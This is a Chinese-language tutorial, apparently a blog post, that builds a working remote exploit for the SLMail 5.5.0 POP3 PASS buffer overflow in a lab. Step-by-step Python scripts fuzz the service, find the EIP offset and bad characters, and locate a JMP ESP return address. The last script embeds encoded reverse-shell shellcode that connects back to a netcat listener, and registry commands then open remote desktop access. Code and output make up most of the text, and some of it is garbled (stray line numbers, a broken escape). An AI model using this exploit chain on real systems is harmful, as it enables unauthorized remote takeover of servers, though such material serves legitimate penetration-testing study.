缓冲区是内存中的一个片段,我们使用程序;在程序中输入一些参数、变量,这些都会先放在缓冲区中,然后通过CPU的调用、处理,然后再由计算机反馈出来。
程序的漏洞从哪里来:
- 罪恶的根源:变量
- 数据与代码边界不清(程序没有严格的限定)
- 由于控制不严会造成程序被严重的破坏
- 最简单漏洞原理——shell脚本
通过一个最简单的shell脚本来体现漏洞的由来:
这个脚本本意是将用户输入的字符显示出来,从程序的目的来看没有问题
1
2#!/bin/bash
echo $但是这个程序没有做数据和命令上的过滤,通过一些特殊字符的构造就可以执行命令(比如; && ||)
上面的结果就是一个简单的漏洞产生的原理,假如说这是一个服务器,攻击者就可以使用nc开一个监听端口,然后将shell重定向,这样就会直接控制服务器
缓冲区溢出:
- 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据。
- 成功修改内存数据、可以造成进程劫持、执行恶意代码、获得服务器权限等后果。
如何发现漏洞:
- 源码审计(首先你得能接触到源码)
- 逆向工程
- 模糊测试
- 向程序堆栈发送随机、半随机的数据,根据存在内存变化判断溢出 (完全随机的不好判断)
- 数据生成器:生成随机、半随机的数据 (工具)
- 测试工具:识别溢出漏洞 (工具,主要使用一些动态调试工具)
Windows缓冲区溢出
- FUZZER
- SLMail 5.5.0 Mail Server (一个Windows下的存在缓冲区溢出的服务端)
- ImmunityDebugger_1_85setup.exe (一个调试工具,比OD的自动化程度高一些)
- mona.py (辅助脚本)
- 环境:Windows XP(需要将SLMail 、调试工具部署好)
- 安装SLMail按照提示安装完查看端口、服务(smtp、pop3等)是否开放
- 安装调试工具,如果没有Python2.7环境它会自动安装
- 将mono.py放在ImmunityDebugger的Pycommands文件夹中
- SLMail 5.5.0 Mail Server
- pop3 pass命令存在缓冲区溢出漏洞
- 无需身份验证实现远程代码执行
- DEP:阻止代码从数据页被执行 (Windows的一种安全防护机制)
- ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化 (Windows的一种安全防护机制)
pop3
最简单的
110端口``` 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30- 了解未知协议
- wireshark
- RFC
- 通过一个简单的Python脚本进行110端口的连接:
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
print data
s.send('USER admin' + '\r\n')
data = s.recv(1024)
print data
s.send('PASS admin\r\n')
data = s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"这里已知SLMail 5.5.0的pass存在缓冲区溢出漏洞,在实际测试用就需要一步步调试
测试pass命令接收到大量数据时是否合法
EIP寄存器存放下一条指令的地址
2.py (通过一个简单的Python脚本来验证SLMail 5.5.0的pass命令存在存在缓冲区漏洞)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21#!/usr/bin/python
import socket
buffer = ["A"]
counter = 100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter = counter + 200
for string in buffer:
print "Fuzzing PASS with %s bytes " % len(string)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.111.137',110))
s.recv(1024)
s.send("USER test" + '\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
#向目标的110端口发送大量的A首先确保开启了pop3:
打开ImmunityDebugger并且开始调试pop3服务的这个进程,查看端口状态的时候可以看到PID是2696
准备就绪以后启动脚本发送数据:
当数据到2700bytes的时候会发现EIP EBP寄存器都是4141 assic码就是A,这个时候发送大量的A造成了PASS指定的溢出,证明溢出确实存在:
溢出存在,如果EIP指令可以修改,就可以通过一些构造,就可能执行一些系统命令;还有一种可能,通过修改EIP的地址,将指令指向一个内存地址空间,通过缓冲区溢出添加shellcode,然后控制服务器。
通过PASS缓冲区溢出漏洞的验证,发现在数据发送到2900bytes的时候溢出
通过第三个脚本精确的找到溢出的四个字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2700 #因为前面是从2700开始溢出的
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2600 #改为2800确定是否在 2800-2900之间
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"现在再看POP3的进程,仅管还是溢出了,但是EIP不是全A的状态了,就证明精确溢出的四个字节在2600-2700:
更加精确定位
二分法
唯一字符串法:如果可以生成唯一的字符串,就可以精确定位是那四个字节填充了EIP
通过一个脚本生成
/usr/share/metasploit-framework/tools/exploit/``` 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
```udo ./pattern_create.rb -l 2700``` 
- 将生成的2700字符串替换上个脚本中的2700个A,然后重新测试,得到如下结果:

- EIP中的四个字节的HEX为:39 69 44 38 由于计算机中内存的分配和人的阅读习惯刚好相反 :38 44 69 39;对应的ASSIC为:8Di9
- 使用脚本查看着四个字节的偏移量:
```sudo ./pattern_offset.rb -q 39694438``` 
- 然后修改前面的脚本,将偏移量2606的字符串设置为A,然后溢出的四个字节设置为B,其余的设置为C,这样确定精确查找是否正确:
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + 'B' * 4 + 'C' * 80
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"通过查看EIP的数据:42424242 刚好是4个B,证明前面测试出的偏移量2606是正确的。这里就可以确定我们可以利用这里的精确修改EIP中的指定达到利用PASS缓冲区溢出的漏洞。
现在已经可以精确修改寄存器中的内容,被修改的寄存器有EIP(重点关注)、EBP、ESP;接下来的思路:将EIP修改为shellcode代码的内存地址,将shellcode写入该地址空间(ESP),程序读取EIP寄存器中的数值,然后跳转到shellcode代码段并执行
寻找可存放shellcode的内存空间
通过脚本来探测ESP寄存器的大小:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + 'B' * 4 + 'C' * 890
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"然后查看esp中C的结束地址:(通过计算可以得出esp的空间大小为四百多,可以放下一个shellcode)
由于不同类型的程序、协议、漏洞、会认为一些字符是坏字符,这些字符有固定用途
返回地址、shellcode、buffer都不能出现坏字符
null byte (0x00) 空字符、用于终止字符串的拷贝操作
return (0x0D)回车操作,表示POP3 PASS命令输入完成
思路:发送0x00——0xff 256个字符,查找所有坏字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0b\x0c\x0d\x0e\x0f\x00"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"
)
buffer = 'A' * 2606 + 'B' * 4 + badchars
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"这里我们可以发现ESP寄存器中没有内容了,然后follow in dump 查看具体位置,发现数据一直到0A的时候就异常了,然后修改脚本,删去0A,通过这种方法找到三个坏字符:0A 0D 00
理论上这个时候就可以进行数据的重定项了,将EIP的内容改为ESP的地址,但实际上是ESP的地址是变化的,所以这样就没有办法做重定向,硬编码不可行,这里就需要变通思路:
在内存中寻找地址固定的系统模块
在模块中寻找JMP ESP(内存地址固定不变)指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
mono.py脚本识别内存模块,搜索return address 是JMP ESP指令的模块
寻找无DEP、ALSR保护的内存地址
内存地址不含坏字符
配置好调试工具,启动mono脚本:
modules``` 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

我们可以发现系统正在运行的模块都出现了,那么如何找到合适的模块呢,先介绍一下上面的参数
rebase(操作系统重启以后是否发生变化,如变化,则为true,否则为false)这里寻找false的
safeseh aslr nxcompat 是操作系统的安全机制,都选false,true的是带有保护机制的,内存地址都是随机的。
OS dll表示每个操作系统都有的这里都选为TRUE
- 由于计算机内存中存储的是二进制,汇编指令肯定是无法查找的,所以通过工具将汇编指令转换成二进制:

- 然后我们进行jmp esp的查找,由于调试工具数据是十六进制,所以需要以十六进制的形式进行查找:```! mona find -s "\xff\xe4" -m slmfc.dll很遗憾,这个模块里面没有,换其他模块,然后就可以找到可利用的:
-s "\xff\xe4" -m slmfc.dll``` 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

- 然后我们双击第一个模块,然后以汇编指令显示就会发现FFES: jmp esp

- 在jmp esp指令这里设置断点:(主要是为了利用脚本向跳转的这里发送溢出的代码,验证是否正常可以跳转)

- 然后我们修改前面精确溢出的代码,溢出的四个字节改为这里设置断点的内存地址,也就是jmp esp ,在添加390个C,也就是说:当程序执行到这jmp esp的时候,跳到ESP寄存器,然后将390个C存入ESP中
- 首先我们可以看到jmp esp的地址为:5F 4A 35 8F

- 然后我们在脚本里构造溢出的内容为这个地址,由于计算机读取数据和人读是相反的,所以要将地址反过来构造:
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + 'C' * 390
try:
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"然后发送数据,查看EIP和ESP的内容:(发现确实跳转了,EIP的内容为跳转的地址,存储C也是在ESP中执行了,说明我们可以执行shellcode)
按F7执行下一步,发现又跳转到EIP:
现在解决了ESP的地址跳转问题,我们就可以进一步构造shellcode执行,进行系统的控制:
生成shellcode
scratch (可以用这个去自己写)
用msfpayload生成shellcode
-l``` 查看所有的payload 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
- ```sudo ./msfpayload win32_reverse LHOST=192.168.111.140 LPORT=4444 C``` 用反向连接的这个载荷,C表示的是C语言格式,但是生成以后我们发现存在坏字符,所以shellcode不能使用
- ```sudo ./msfpayload win32_reverse LHOST=192.168.111.140 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d"``` 这里使用msfemcode对三个字符进行转义,R是保证msfemcode可以使用、

- 将shellcode加入代码中:
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7\x71\x2c" +
"\xc1\x83\xeb\xfc\xe2\xf4\x0b\x1b\xc7\x8c\x1f\x88\xd3\x3e\x08\x11" +
"\xa7\xad\xd3\x55\xa7\x84\xcb\xfa\x50\xc4\x8f\x70\xc3\x4a\xb8\x69" +
"\xa7\x9e\xd7\x70\xc7\x88\x7c\x45\xa7\xc0\x19\x40\xec\x58\x5b\xf5" +
"\xec\xb5\xf0\xb0\xe6\xcc\xf6\xb3\xc7\x35\xcc\x25\x08\xe9\x82\x94" +
"\xa7\x9e\xd3\x70\xc7\xa7\x7c\x7d\x67\x4a\xa8\x6d\x2d\x2a\xf4\x5d" +
"\xa7\x48\x9b\x55\x30\xa0\x34\x40\xf7\xa5\x7c\x32\x1c\x4a\xb7\x7d" +
"\xa7\xb1\xeb\xdc\xa7\x81\xff\x2f\x44\x4f\xb9\x7f\xc0\x91\x08\xa7" +
"\x4a\x92\x91\x19\x1f\xf3\x9f\x06\x5f\xf3\xa8\x25\xd3\x11\x9f\xba" +
"\xc1\x3d\xcc\x21\xd3\x17\xa8\xf8\xc9\xa7\x76\x9c\x24\xc3\xa2\x1b" +
"\x2e\x3e\x27\x19\xf5\xc8\x02\xdc\x7b\x3e\x21\x22\x7f\x92\xa4\x32" +
"\x7f\x82\xa4\x8e\xfc\xa9\x37\xd9\x43\x4d\x91\x19\x3d\x9d\x91\x22" +
"\xa5\x20\x62\x19\xc0\x38\x5d\x11\x7b\x3e\x21\x1b\x3c\x90\xa2\x8e" +
"\xfc\xa7\x9d\x15\x4a\xa9\x94\x1c\x46\x91\xae\x58\xe0\x48\x10\x1b" +
"\x68\x48\x15\x40\xec\x32\x5d\xe4\xa5\x3c\x09\x33\x01\x3f\xb5\x5d" +
"\xa1\xbb\xcf\xda\x87\x6a\x9f\x03\xd2\x72\xe1\x8e\x59\xe9\x08\xa7" +
"\x77\x96\xa5\x20\x7d\x90\x9d\x70\x7d\x90\xa2\x20\xd3\x11\x9f\xdc" +
"\xf5\xc4\x39\x22\xd3\x17\x9d\x8e\xd3\xf6\x08\xa1\x44\x26\x8e\xb7" +
"\x55\x3e\x82\x75\xd3\x17\x08\x06\xd0\x3e\x27\x19\xdc\x4b\xf3\x2e" +
"\x7f\x3e\x21\x8e\xfc\xc1")
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + '\x90' * 8 +shellcode
try:
#\x90表示的是汇编中的nop,就是不执行操作,保证shellcode的可用性,为了防止esp执行的时候把我的shellcode的前面几个字符忽略掉
print "\nSending evil buffer..."
s.connect(('192.168.111.137',110))
data = s.recv(1024)
s.send('USER test' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
现在我们监听本地的4444端口,等待反向连接
nc -vlp 4444``` 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
- 然后保证SLmail服务正常运行,发送数据,然后缓冲区溢出利用成功,拿到系统权限:

- 执行系统命令:

- 觉得命令行不舒服:改注册表,然后3389远程连接:
- ```tex
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM Server\Wds\rdpwd\Tds\tcp]>>3389.reg
C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.regrdesktop 192.168.111.137
远程桌面连接。